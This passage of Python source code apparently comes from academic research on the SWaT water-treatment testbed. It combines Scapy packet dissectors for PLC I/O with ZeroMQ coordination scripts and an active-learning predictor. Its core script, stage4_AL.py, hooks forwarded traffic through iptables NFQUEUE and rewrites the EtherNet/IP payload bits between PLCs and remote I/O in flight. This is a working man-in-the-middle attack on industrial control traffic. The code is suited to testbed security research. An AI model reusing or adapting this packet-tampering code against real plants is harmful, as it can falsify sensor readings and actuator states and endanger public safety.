bit_flip(vector,i): temp = vector[:] if temp[i] == 0: temp[i] = 1 elif temp[i] == 1: temp[i] = 0 else: print 'not a bit string' return temp def bin_to_hex(bin_string): bin_list = list(bin_string) hex_list = [] for i in range(len(bin_list)/4): if bin_list[4*i:4*(i+1)] == ['0','0','0','0']: hex_list.append('0') if bin_list[4*i:4*(i+1)] == ['0','0','0','1']: hex_list.append('1') if bin_list[4*i:4*(i+1)] == ['0','0','1','0']: hex_list.append('2') if bin_list[4*i:4*(i+1)] == ['0','0','1','1']: hex_list.append('3') if bin_list[4*i:4*(i+1)] == ['0','1','0','0']: hex_list.append('4') if bin_list[4*i:4*(i+1)] == ['0','1','0','1']: hex_list.append('5') if bin_list[4*i:4*(i+1)] == ['0','1','1','0']: hex_list.append('6') if bin_list[4*i:4*(i+1)] == ['0','1','1','1']: hex_list.append('7') if bin_list[4*i:4*(i+1)] == ['1','0','0','0']: hex_list.append('8') if bin_list[4*i:4*(i+1)] == ['1','0','0','1']: hex_list.append('9') if bin_list[4*i:4*(i+1)] == ['1','0','1','0']: hex_list.append('a') if bin_list[4*i:4*(i+1)] == ['1','0','1','1']: hex_list.append('b') if bin_list[4*i:4*(i+1)] == ['1','1','0','0']: hex_list.append('c') if bin_list[4*i:4*(i+1)] == ['1','1','0','1']: hex_list.append('d') if bin_list[4*i:4*(i+1)] == ['1','1','1','0']: hex_list.append('e') if bin_list[4*i:4*(i+1)] == ['1','1','1','1']: hex_list.append('f') hex_str = ''.join(hex_list) return hex_str def reconstruct_packet(pkt,vector,stage_number,packet_index): ''' :param vector: whole payload of four stages :param stage_number: stage1:1;stage2:2;stage3:3;stage4:4 :param packet_index: 12_50:1;12_40:2;12_28:3;10_40:4 :return: ''' len_12_50 = 256 len_12_40 = 176 len_12_28 = 80 len_10_40 = 176 stage_length = 688 whole = binascii.hexlify(bytes(pkt)) payload = binascii.hexlify(bytes(pkt[Raw])) temp = string.replace(whole,payload,"") stage_vector = vector[(stage_number-1)*stage_length:stage_number*stage_length] if packet_index == 1: packet_vector = stage_vector[:len_12_50] if packet_index == 2: packet_vector = stage_vector[len_12_50:len_12_50+len_12_40] if packet_index == 3: packet_vector = stage_vector[len_12_50+len_12_40:len_12_50+len_12_40+len_12_28] if packet_index == 4: packet_vector = stage_vector[len_12_50+len_12_40+len_12_28:len_12_50+len_12_40+len_12_28+len_10_40] packet_vector = map(int,packet_vector) pktnew = list_to_string(packet_vector) pktnew = pktnew a = time.time() pktnew = bin_to_hex(pktnew) return temp+pktnew ``` extract_bits.py ```#!/usr/bin/env python # -*- coding:utf-8 -*- from scapy.all import * import pandas as pd import numpy as np import time from bitdump import * def map_ip_address(nstage): return { 1: "192.168.0.1", 2: "192.168.0.2", 3: "192.168.0.3", 4: "192.168.0.4" }.get(nstage, "error") def extract_bits(date,nstage,sensor,num): stage='stage'+str(nstage) pkts = PcapReader('packet/' + date + stage + '.pcap') files = pd.read_csv('log/' + date + sensor + '.csv') start_time = files[" Timestamp"][1] # start_time = ' 1/8/2019 9:30:43 PM' print start_time a = time.strptime(start_time, ' %d/%m/%Y %I:%M:%S %p') t0 = time.mktime(a) ip1=map_ip_address(nstage)+'2' ip2=map_ip_address(nstage)+'0' count = 1 second_count = 0 templist = [] p2_50 = np.zeros(256, dtype=int) p2_40 = np.zeros(176, dtype=int) p2_28 = np.zeros(80, dtype=int) p0_40 = np.zeros(176, dtype=int) while True: pkt = pkts.read_packet() if pkt is None: break else: # print pkt.time if pkt.time < Decimal(t0): continue if pkt.haslayer("Raw"): if pkt["IP"].src == ip1: if len(pkt[Raw]) == 32: a = bitdump(pkt[Raw]) for j in range(len(a)): p2_50[j] = a[j] if len(pkt[Raw]) == 22: a = bitdump(pkt[Raw]) for j in range(len(a)): p2_40[j] = a[j] if len(pkt[Raw]) == 10: a = bitdump(pkt[Raw]) for j in range(len(a)): p2_28[j] = a[j] if pkt["IP"].src == ip2: if len(pkt[Raw]) == 22: a = bitdump(pkt[Raw]) for j in range(len(a)): p0_40[j] = a[j] if pkt.time - Decimal(t0) >= 1: temp = np.hstack((p2_50, p2_40, p2_28, p0_40)) templist.append(temp) t0 = pkt.time print(count) count += 1 if count>num: break x = np.array(templist) # print x # print len(x[0]) q = time.time() # np.save('vector/'+date+stage+'_whole.npy', x) print time.time() - q np.save('vector/'+date+stage+'_whole.npy', x) pkts.close() return 0 date = '0806' nstage=4 sensor = 'LIT401' extract_bits(date,nstage,sensor,1000) ``` stage4_AL.py ```#!/usr/bin/env python # -*- coding:utf-8 -*- from scapy.all import * import time import numpy as np from bitdump import * import binascii from netfilterqueue import NetfilterQueue from AL_utils import * import CIP_sequence import os p2_50 = np.zeros(256, dtype=int) p2_40 = np.zeros(176, dtype=int) p2_28 = np.zeros(80, dtype=int) p0_40 = np.zeros(176, dtype=int) total_length = len(p2_50)+len(p2_40)+len(p2_28)+len(p0_40) vector = np.hstack((p2_50,p2_40,p2_28,p0_40)) vector = vector.tolist() modify_time = 0 modify_flag = 0 accept_flag = 0 capture_flag = 'False' count = 0 start_time = 0 check_time = 0 time_interval = 30 def save(filename, contents): fh = open(filename, 'w') fh.write(contents) fh.close() def read(filename): fh = open(filename, 'r') contents = fh.read() fh.close() return contents def preprocess(x): temp = x.strip('[') temp = temp.strip(']') final = np.fromstring(temp, dtype=int, sep='. ') return final def handle_packet(packet): global modify_flag global accept_flag global modify_time global count global vector global start_time global capture_flag global check_time pkt = IP(packet.get_payload()) '''extract pv''' if pkt.haslayer("Raw"): if pkt["IP"].src == '192.168.0.42': if len(pkt[Raw]) == 50: stri = binascii.hexlify(str(pkt)) with open("string.txt", 'w') as i: i.write(stri) if time.time() - check_time >= 1: check_time = time.time() states = read('stage_states.txt') states = states.split(' ') accept_flag = int(states[0]) modify_flag = int(states[1]) if accept_flag == 1: print 'accept' capture_flag = 'False' save('capture_flag4.txt', capture_flag) packet.accept() else: if capture_flag == 'True': packet.accept() else: '''start altering packets''' if modify_flag == 1: start_time = time.time() new_vector = np.loadtxt('newvector.txt') new_vector = new_vector.tolist() if pkt.haslayer('Raw'): if pkt['IP'].src == '192.168.0.42' and len(pkt['Raw']) == 32: rawpkt = binascii.unhexlify(reconstruct_packet(pkt,new_vector,4,1)) pktnew = IP(rawpkt) del pktnew['IP'].chksum del pktnew['UDP'].chksum packet.set_payload(str(pktnew)) if pkt['IP'].src == '192.168.0.42' and len(pkt['Raw']) == 22: rawpkt = binascii.unhexlify(reconstruct_packet(pkt,new_vector,4,2)) pktnew = IP(rawpkt) del pktnew['IP'].chksum del pktnew['UDP'].chksum packet.set_payload(str(pktnew)) if pkt['IP'].src == '192.168.0.42' and len(pkt['Raw']) == 10: rawpkt = binascii.unhexlify(reconstruct_packet(pkt,new_vector,4,3)) pktnew = IP(rawpkt) del pktnew['IP'].chksum del pktnew['UDP'].chksum packet.set_payload(str(pktnew)) if pkt['IP'].src == '192.168.0.40' and len(pkt['Raw']) == 22: rawpkt = binascii.unhexlify(reconstruct_packet(pkt,new_vector,4,4)) pktnew = IP(rawpkt) del pktnew['IP'].chksum del pktnew['UDP'].chksum packet.set_payload(str(pkt)) packet.accept() else: '''search for the related bits''' if time.time() - start_time >= 5: vector = np.hstack((p2_50, p2_40, p2_28, p0_40)) vector = vector.tolist() np.savetxt('stage4old.txt',vector,fmt='%d') capture_flag = 'True' save('capture_flag4.txt', capture_flag) elif pkt.haslayer("Raw"): if pkt.haslayer("Raw"): if pkt["IP"].src == '192.168.0.42': if len(pkt[Raw]) == 32: a = bitdump(pkt[Raw]) for j in range(len(a)): p2_50[j] = a[j] if len(pkt[Raw]) == 22: a = bitdump(pkt[Raw]) for j in range(len(a)): p2_40[j] = a[j] if len(pkt[Raw]) == 10: a = bitdump(pkt[Raw]) for j in range(len(a)): p2_28[j] = a[j] if pkt["IP"].src == '192.168.0.40': if len(pkt[Raw]) == 22: a = bitdump(pkt[Raw]) for j in range(len(a)): p0_40[j] = a[j] packet.accept() if __name__ == '__main__': os.system('iptables -t mangle -A FORWARD -j NFQUEUE --queue-num 1') nfqueue = NetfilterQueue() nfqueue.bind(1, handle_packet,10) try: print "[*] starting NFQUEUE" start_time = time.time() check_time = time.time() print "start_time", start_time nfqueue.run() except KeyboardInterrupt: os.system('sudo iptables -t mangle -F') os.system('sudo sh start_lvl0.sh') print "[*] stopping NFQUEUE" nfqueue.unbind() ``` main_client.py ```#!/usr/bin/env python # -*- coding:utf-8 -*- import zmq import numpy as np def save(filename, contents): fh = open(filename, 'w') fh.write(contents) fh.close() ip1 = "10.0.1.231" ip2 = "10.0.1.232" ip3 = "10.0.1.233" ip4 = "10.0.1.234" port_vector = "5510" port_pv = '5511' port_capture = '5512' # Socket to talk to server tcp_address1 = "tcp://" + ip1 + ":" + port_vector tcp_address2 = "tcp://" + ip2 + ":" + port_vector tcp_address3 = "tcp://" + ip3 + ":" + port_vector tcp_address4 = "tcp://" + ip4 + ":" + port_vector tcp_address1_pv = "tcp://" + ip1 + ":" + port_pv tcp_address2_pv = "tcp://" + ip2 + ":" + port_pv tcp_address3_pv = "tcp://" + ip3 + ":" + port_pv tcp_address4_pv = "tcp://" + ip4 + ":" + port_pv tcp_address1_capture = "tcp://" + ip1 + ":" + port_capture tcp_address2_capture = "tcp://" + ip2 + ":" + port_capture tcp_address3_capture = "tcp://" + ip3 + ":" + port_capture tcp_address4_capture = "tcp://" + ip4 + ":" + port_capture context = zmq.Context() socket1 = context.socket(zmq.SUB) socket1.connect(tcp_address1) socket2 = context.socket(zmq.SUB) socket2.connect(tcp_address2) socket3 = context.socket(zmq.SUB) socket3.connect(tcp_address3) socket4 = context.socket(zmq.SUB) socket4.connect(tcp_address4) socket1_pv = context.socket(zmq.SUB) socket1_pv.connect(tcp_address1_pv) socket2_pv = context.socket(zmq.SUB) socket2_pv.connect(tcp_address2_pv) socket3_pv = context.socket(zmq.SUB) socket3_pv.connect(tcp_address3_pv) socket4_pv = context.socket(zmq.SUB) socket4_pv.connect(tcp_address4_pv) socket1_capture = context.socket(zmq.SUB) socket1_capture.connect(tcp_address1_capture) socket2_capture = context.socket(zmq.SUB) socket2_capture.connect(tcp_address2_capture) socket3_capture = context.socket(zmq.SUB) socket3_capture.connect(tcp_address3_capture) socket4_capture = context.socket(zmq.SUB) socket4_capture.connect(tcp_address4_capture) socket1.setsockopt(zmq.SUBSCRIBE, '') socket2.setsockopt(zmq.SUBSCRIBE, '') socket3.setsockopt(zmq.SUBSCRIBE, '') socket4.setsockopt(zmq.SUBSCRIBE, '') socket1_pv.setsockopt(zmq.SUBSCRIBE, '') socket2_pv.setsockopt(zmq.SUBSCRIBE, '') socket3_pv.setsockopt(zmq.SUBSCRIBE, '') socket4_pv.setsockopt(zmq.SUBSCRIBE, '') socket1_capture.setsockopt(zmq.SUBSCRIBE, '') socket2_capture.setsockopt(zmq.SUBSCRIBE, '') socket3_capture.setsockopt(zmq.SUBSCRIBE, '') socket4_capture.setsockopt(zmq.SUBSCRIBE, '') capture_flag = 'False' save('capture_flag1.txt', capture_flag) save('capture_flag2.txt', capture_flag) save('capture_flag3.txt', capture_flag) save('capture_flag4.txt', capture_flag) def preprocess_message(x): temp = x.strip('[') temp = temp final = np.fromstring(temp, dtype=int, sep=', ') return final while True: capture_flag1 = socket1_capture.recv_string() s1old = socket1.recv() s1old = preprocess_message(s1old) print s1old pv1 = socket1_pv.recv_string() capture_flag2 = socket2_capture.recv() s2old = socket2.recv() s2old = preprocess_message(s2old) capture_flag3 = socket3_capture.recv() s3old = socket3.recv() s3old = preprocess_message(s3old) capture_flag4 = socket4_capture.recv() s4old = socket4.recv() s4old = preprocess_message(s4old) save('capture_flag1.txt', capture_flag1) save('capture_flag2.txt', capture_flag2) save('capture_flag3.txt', capture_flag3) save('capture_flag4.txt', capture_flag4) np.savetxt('stage1old.txt', s1old,fmt='%d') np.savetxt('stage2old.txt', s2old,fmt='%d') np.savetxt('stage3old.txt', s3old,fmt='%d') np.savetxt('stage4old.txt', s4old,fmt='%d') save('pv1.txt', pv1) ``` _PLC5.py ```# -*- coding: utf-8 -*- # Copyright (c) 2018 Beebi Siti Salimah Binte Liyakkathali, liyakkathali@sutd.edu.sg # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. from scapy import all as scapy_all import enip_cpf __all__ = ['SWAT_P5_RIO_DO', 'SWAT_P5_RIO_DI', 'SWAT_P5_RIO_AI'] class SWAT_P5_RIO_DO(scapy_all.Packet): name = "SWAT_P5_RIO_DO" fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.ByteField('number', 0), scapy_all.StrFixedLenField('reserved', 0, length=5), scapy_all.BitEnumField('MV504_Close', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('MV504_Open', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('MV503_Close', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('MV503_Open', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('MV502_Close', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('MV502_Open', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('MV501_Close', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('MV501_Open', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), ] class SWAT_P5_RIO_DI(scapy_all.Packet): name = 'SWAT_P5_RIO_DI' fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.LEIntField('padding', 0), scapy_all.BitEnumField('P502_Fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P502_Run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P502_Auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P501_Fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P501_Run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P501_Auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('RIO5_Wifi', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('PLC5_Wifi', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('MV504_Close', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('MV504_Open', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('MV503_Close', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('MV503_Open', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('MV502_Close', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('MV502_Open', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('MV501_Close', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('MV501_Open', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), #scapy_all.BitEnumField('VSD502_Start', 0, 1, {0: 'disable', 1: 'enable'}), #scapy_all.BitEnumField('VSD501_Start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.LEShortField('VSD502_Start', 0), #VSD is pump scapy_all.LEShortField('VSD501_Start', 0), scapy_all.BitEnumField('PSH501_High', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('PSL501_Low', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), ] class SWAT_P5_RIO_AI(scapy_all.Packet): name = "SWAT_P5_RIO_AI" fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.LEIntField('padding', 0), scapy_all.LEShortField('AIT501_pH', 0), scapy_all.LEShortField('AIT502_ORP', 0), scapy_all.LEShortField('AIT503_Water_Cond', 0), scapy_all.LEShortField('AIT504_Perm_Cond', 0), scapy_all.LEShortField('FIT501_Feed_Flow', 0), scapy_all.LEShortField('FIT502_Perm_Flow', 0), scapy_all.LEShortField('FIT503_Con_Flow', 0), scapy_all.LEShortField('FIT504_Recirculation_Flow', 0), scapy_all.LEShortField('PIT501_RO_Pressure', 0), scapy_all.LEShortField('PIT502_Perm_Pressure', 0), scapy_all.LEShortField('PIT503_Con_Pressure', 0), scapy_all.LEShortField('spare', 0), ] scapy_all.bind_layers(scapy_all.TCP, enip_cpf.ENIP_CPF, dport=2222) scapy_all.bind_layers(scapy_all.UDP, enip_cpf.ENIP_CPF, sport=2222) scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P5_RIO_AI, length=32) scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P5_RIO_DI, length=10) scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P5_RIO_DO, length=22) ``` _PLC4.py ```# -*- coding: utf-8 -*- # Copyright (c) 2018 Beebi Siti Salimah Binte Liyakkathali, liyakkathali@sutd.edu.sg # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. from scapy import all as scapy_all import enip_cpf __all__ = ['SWAT_P4_RIO_DO', 'SWAT_P4_RIO_DI', 'SWAT_P4_RIO_AI'] class SWAT_P4_RIO_DO(scapy_all.Packet): name = "SWAT_P4_RIO_DO" fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.ByteField('number', 0), scapy_all.StrFixedLenField('reserved', 0, length=5), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('UV_Start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P404_Start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P403_Start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P402_Start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P401_Start', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), ] class SWAT_P4_RIO_DI(scapy_all.Packet): name = 'SWAT_P4_RIO_DI' fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.LEIntField('padding', 0), scapy_all.BitEnumField('P402_Fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P402_Run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P402_Auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P401_Fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P401_Run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P401_Auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('RIO4_Wifi', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('PLC4_Wifi', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('UV401_Run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('UV401_Auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P404_Fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P404_Run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P404_Auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P403_Fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P403_Run', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('P403_Auto', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('LS401_Low', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('UV401_Fault', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), scapy_all.BitEnumField('spare', 0, 1, {0: 'disable', 1: 'enable'}), ] class SWAT_P4_RIO_AI(scapy_all.Packet): name = "SWAT_P4_RIO_AI" fields_desc = [ scapy_all.LEShortField('counter', 0), scapy_all.LEIntField('padding', 0), scapy_all.LEShortField('LIT401_Level', 0), scapy_all.LEShortField('AIT401_Hardness', 0), scapy_all.LEShortField('FIT401_Flow', 0), scapy_all.LEShortField('AIT402_ORP', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), scapy_all.LEShortField('spare', 0), ] scapy_all.bind_layers(scapy_all.TCP, enip_cpf.ENIP_CPF, dport=2222) scapy_all.bind_layers(scapy_all.UDP, enip_cpf.ENIP_CPF, sport=2222) scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P4_RIO_AI, length=32) scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P4_RIO_DI, length=10) scapy_all.bind_layers(enip_cpf.CPF_AddressDataItem, SWAT_P4_RIO_DO, length=22) ``` main_server.py ```import zmq import numpy as np import time '''set tcp address''' ip = "10.0.1.235" port1 = "5501" port2 = "5502" port3 = "5503" port4 = "5504" tcp_address1 = "tcp://" + ip + ":" + port1 tcp_address2 = "tcp://" + ip + ":" + port2 tcp_address3 = "tcp://" + ip + ":" + port3 tcp_address4 = "tcp://" + ip + ":" + port4 context = zmq.Context() socket1 = context.socket(zmq.PUB) socket1.bind(tcp_address1) socket2 = context.socket(zmq.PUB) socket2.bind(tcp_address2) socket3 = context.socket(zmq.PUB) socket3.bind(tcp_address3) socket4 = context.socket(zmq.PUB) socket4.bind(tcp_address4) while True: '''send new vector to different stages''' vn1 = np.loadtxt('stage1new.txt') vn2 = np.loadtxt('stage2new.txt') vn3 = np.loadtxt('stage3new.txt') vn4 = np.loadtxt('stage4new.txt') socket1.send_string("%s" % vn1) socket2.send_string("%s" % vn2) socket3.send_string("%s" % vn3) socket4.send_string("%s" % vn4) time.sleep(1) ``` stage3_server.py ```#!/usr/bin/env python # -*- coding:utf-8 -*- import zmq import time import numpy as np def save(filename, contents): fh = open(filename, 'w') fh.write(contents) fh.close() def read(filename): fh = open(filename, 'r') contents = fh.read() fh.close() return contents '''set tcp address''' ip = "10.0.1.233" port_vector = "5510" tcp_address_vector = "tcp://" + ip + ":" + port_vector port_pv = "5511" tcp_address_pv = "tcp://" + ip + ":" + port_pv port_capture = "5512" tcp_address_capture = "tcp://" + ip + ":" + port_capture context = zmq.Context() socket_vector = context.socket(zmq.PUB) socket_vector.bind(tcp_address_vector) socket_pv = context.socket(zmq.PUB) socket_pv.bind(tcp_address_pv) socket_capture = context.socket(zmq.PUB) socket_capture.bind(tcp_address_capture) capture_flag = 'False' pv_diff = '0' stageold = [0] while True: '''send old vector to laptop''' capture_flag = read('capture_flag1.txt') socket_capture.send_string(capture_flag) vo = map(int,np.loadtxt('stage1old.txt').tolist()) socket_vector.send_string(str(vo)) pv_diff = read('pv_diff.txt') socket_pv.send_string(str(pv_diff)) time.sleep(1) ``` bitdump.py ```#!/usr/bin/env python # -*- coding:utf-8 -*- from scapy.all import * def bitdump(x, dump=False): s = "" x = raw(x) l = len(x) i = 0 while i < l: for j in range(16): if i+j < l: s += "%02X" % orb(x[i+j]) s+="" if j%16 == 7: s += "" i += 16 if s.endswith("\n"): s = s[:-1] return bin(int(s,16)).replace("0b","")``` main_predict.py ```#!/usr/bin/env python # -*- coding:utf-8 -*- from sklearn.externals import joblib import numpy as np import time from preprocess import * from AL_utils import * from sklearn.ensemble import GradientBoostingRegressor from sklearn.svm import LinearSVR def save(filename, contents): fh = open(filename, 'w') fh.write(contents) fh.close() def read(filename): fh = open(filename, 'r') contents = fh.read() fh.close() return contents # import model sensor = 'LIT401' method = 'GBDT' algorithm = 'EMCM' model = joblib.load(sensor+'/origin/'+sensor+'_'+method+'_40min.pkl') # import first batch bits = np.load(sensor+'/origin/'+sensor+'_'+'bits_40min.npy') label = np.loadtxt(sensor+'/origin/'+sensor+'_'+ 'diff30_40min.txt') # testx = np.load(sensor+'/origin/'+sensor+'_'+'bits_test.npy') # testy = np.loadtxt(sensor+'/origin/'+sensor+'_'+'diff30_test.txt') #state:accept,modify state_list = '0 0' save('zmq/stage_states.txt', state_list) if algorithm == 'EMCM': block_size=int(np.shape(bits)[0]**(1/3))+1 if method == 'linear': bootstrap_linear_model(bits,label,block_size,4) if method == 'GBDT': bootstrap_GBDT_model(bits, label, block_size, 4) model_list = ['model/bootstrap_' + method + '_example0.pkl', 'model/bootstrap_' + method + '_example1.pkl', 'model/bootstrap_' + method + '_example2.pkl', 'model/bootstrap_' + method + '_example3.pkl'] vector = bits.tolist() pv = label.tolist() count = 0 print 'done loading' # a = model.predict(testx) # plt.figure() # plt.plot(range(len(testy)), testy, 'b', label='real_test') # 